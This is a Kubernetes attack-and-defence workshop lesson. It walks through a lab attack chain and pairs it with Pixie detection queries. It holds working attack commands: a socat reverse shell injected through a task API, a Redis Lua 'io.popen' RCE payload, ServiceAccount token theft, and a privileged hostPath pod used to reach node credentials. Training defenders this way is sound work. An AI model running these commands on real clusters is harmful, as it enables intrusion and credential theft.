Lesson  in  IKT Linz 2027

IKT - Attack Defense für Kubernetes

Perform an attack starting from initial access via a compromised agent worker and escalate to full node access.

Workshop overview

This workshop follows an attacker through a small Kubernetes environment, then uses the same evidence to reconstruct the compromise.

Agent-system workers, the Oopservability telemetry pipeline, and the SOC stack in the workshop cluster

Workshop architecture

What is running

  • agent-system represents an agentic-worker platform. It receives tasks—such as pull-request reviews, on-demand research, or messages from Slack-like integrations—and creates workers to process them.
  • Oopservability is our intentionally insecure observability stack. An OTel sidecar in agent-orchestrator sends metrics to Redis, which then passess them on to the main observability application.

These are the applications we are protecting.

Tools we will use

  • kubectl to inspect and operate the Kubernetes cluster.
  • Ran act as an adevrsary and perform attacks on the target cluster.
  • Pixie to investigate network and DNS activity.

Agenda

  1. Deploy the defence stack.
  2. Watch the complete attack chain once, so you know where we are heading.
  3. Reproduce the attack together.
  4. Use the defensive tools to detect the activity and retrace the attacker's path.

Deploy the stack

1. Pixie

Main components are already pre-installed. All that needs to be done is connect to the Pixie instance by completing the invite

Get the ID of your cluster for Pixie

kubectl -n pl get secret pl-cluster-secrets \
    -o go-template='{{index .data "cluster-name" | base64decode}} {{index .data "cluster-id" | base64decode}}{{"\n"}}'

2. Verify

kubectl -n honey get pods
kubectl logs -n honey -l app=node-agent -f | jq '.message'

1 — Exec into the pod

The attack

Open RanUI:

  1. Click on the Ran Node
  2. Select "Create Listener" from the armory
  3. Execute the action and a listener badge should appear next to Ran
Create a new listener to catch reverse shells

Create a new listener to catch reverse shells

Spawn a worker which connects back to our listener

Spawn a new worker which connects back to Ran. Click on Open dev-machine and enter:

LHOST=$(hostname -i)
LPORT=1337
TASK_ID=callback-1
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')

# in another terminal, BEFORE submitting:  nc -lvnp 1337

curl -sS -X POST http://${NODE_IP}:30080/tasks -H 'Content-Type: application/json' -d @- <<EOF
{"id":"${TASK_ID}",
 "repo":"https://github.com/Magier/ikt26",
 "cmd":"apt update; apt install -y socat; socat TCP:${LHOST}:${LPORT} EXEC:sh "}
EOF

Orienting after initial foothold

  1. Select the newly discovered system
  2. Read the environment variables
  • Armory: Discovery > Read Environment variables
  • or quick actions in the entity info: click the play icon next to `envVars
Read the environment variable to get more context

Read the environment variable to get more context

2 — Token theft and a dropped kubectl

The shell reads its mounted ServiceAccount token, drops kubectl into /tmp, and asks the API server what that token can do.

The attack

  1. Click the agent-worker-* pod > Credential Access > Read ServiceAccount Token

The token is not just a credential, it also contains information about the pod's name and the node it runs on.

  1. Execution > Install kubectl (lands in /tmp)
  2. Select the agent-worker ServiceAccount in the graph
  3. Discovery > Check Token permissions

The answer here is nothing useful — this token has no interesting permissions. The attack still generated five alerts.

Manual equivalent:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -L -o /tmp/kubectl "https://dl.k8s.io/release/$(curl -Ls https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x /tmp/kubectl
/tmp/kubectl auth can-i --list

3 — Network discovery

With no useful permissions, the monster maps the network instead: install nmap, learn its own IP, scan the subnet.

The attack

  1. Select the agent-worker-* pod
  2. Execution > Install Package, target package nmap
  3. Discovery > Get local IP address — the scan needs a range
  4. Discovery > NMap Host Scan

Detect NMap scan with Pixie
cat <<'EOF2' > /tmp/network_map.pxl
import px

df = px.DataFrame(table='conn_stats', start_time='-10m')

df.pod = df.ctx['pod']
df.cmd = df.ctx['cmd']
df = df.groupby(['pod', 'upid', 'cmd', 'remote_addr', 'remote_port']).agg()
df = df.groupby(['pod', 'upid', 'cmd']).agg(unique_destinations=('remote_addr', px.count))
px.display(df, 'scan_candidates')
EOF2
px run -f /tmp/network_map.pxl

4 — Redis RCE to agent-orchestrator permissions

One kill chain in two halves: exploit an unpatched Redis to steal a token with nodes/proxy, then use that permission to exec on the kubelet directly — bypassing the API server and its audit log.

Part 1 — Redis RCE

The oopservability namespace runs an outdated Redis. Its agent token holds get on nodes/proxy, a permission observability and compliance tooling very commonly has.

  1. Click the redis pod in oopservability > Lateral Movement > RCE. It fails — no redis-cli in the pod
  2. On agent-worker-*: Execution > Install Package, target redis-tools
  3. Confirm via the pod's binaries property that redis-cli is present
  1. Focus redis again and execute the RCE
  2. Credential Access > Read ServiceAccount Token on the Redis pod
  3. Check the extracted oopservability-agent token's permissions on the oopservability-redis-* pod
  • Note: use curl, which needs to be installed on the redis instance
  • Beware: Checking the token on the agent-worker-* pod may incorrectly sheck its own and not the redis SA token
Manual equivalent
redis-cli -h $REDIS_IP -p 6379 EVAL "local cmd = ARGV[1] .. ' 2>&1'; local f = io.popen(cmd); local d = f:read('*a') f:close(); return d;" 0 "id"

Part 2 — OTel credential leak

Redis's ServiceAccount can create a ServiceMonitor—normally just instructions for where OTel fetches metrics.

  1. Select the oopservability-redis ServiceAccount
  2. Select Credential Access > Create ServiceMonitor with Bearer Token Token File (CVE-2026-47701)
  • keep the default settings
  1. Select the oopservability-redis-* and select Credential Access > Extract ServiceAccount Token via CVE ...
  2. At least 1 new ServiceAccount token should be added
  • The entry in the operational log at the bottom can be expanded to see how many entities were discovered

Explanation

  1. Prerequisite is a otel-collector sidecar mounted in workloads
  2. The vulnerable Target Allocator accepts its unsafe bearerTokenFile setting.
  3. The injected OTel sidecar in agent-orchestrator reads its own mounted token and sends it as an authorization header to Redis's metric-receiver.
  4. metric-receiver saves that header in Redis. The RCE can retrieve it and compare its permissions with Redis's limited identity.

Redis can change monitoring configuration; it should never make another workload disclose its Kubernetes identity.

Custom Detection script for Pixie

You can execute this script in the Pixie Scratchpad:

cat <<'EOF2' > /tmp/network_map.pxl
import px

df = px.DataFrame(table='conn_stats', start_time='-10m')

df.pod = df.ctx['pod']
df.cmd = df.ctx['cmd']
df = df.groupby(['pod', 'upid', 'cmd', 'remote_addr', 'remote_port']).agg()
df = df.groupby(['pod', 'upid', 'cmd']).agg(unique_destinations=('remote_addr', px.count))
px.display(df, 'scan_candidates')
EOF2
px run -f /tmp/network_map.pxl

5 — Spawn a privileged worker

The captured token belongs to agent-orchestrator. Its job is to create agent workers, so it can create Pods and Jobs in agent-system.

The attack

  1. Select the captured ServiceAccount token and Check Token Permissions.
  2. Use it to create an attacker-controlled worker Pod: Execution > Deploy Container
  3. Configure new container to use socat to call back to the listener created
    • args 2 entries:
      • TCP:172.16.0.5:1337 (replace with dev-machine IP and listener port)
      • EXEC:sh
    • ensure hostPath mount of / is set
  4. When the callback arrives, you now control the privileged Pod.

6 — Finale: escape the node

The privileged Pod can see the node's root filesystem.

The finale

  1. From created pod enter the host environment and prove which node you reached.
  2. Search the mounted host filesystem for Kubernetes configuration and other high-value credentials.
  3. It's a k3s cluster, so interesting locations to check are:
    • /var/lib/rancher/k3s
    • /etc/rancher/k3s
Important

The host filesystem may contain real cluster credentials. Treat them as proof of final impact!

This is the end-state: a low-privilege Redis compromise became control of a workload, then a node. The important lesson is not the final file—it is every trust boundary that allowed the next step.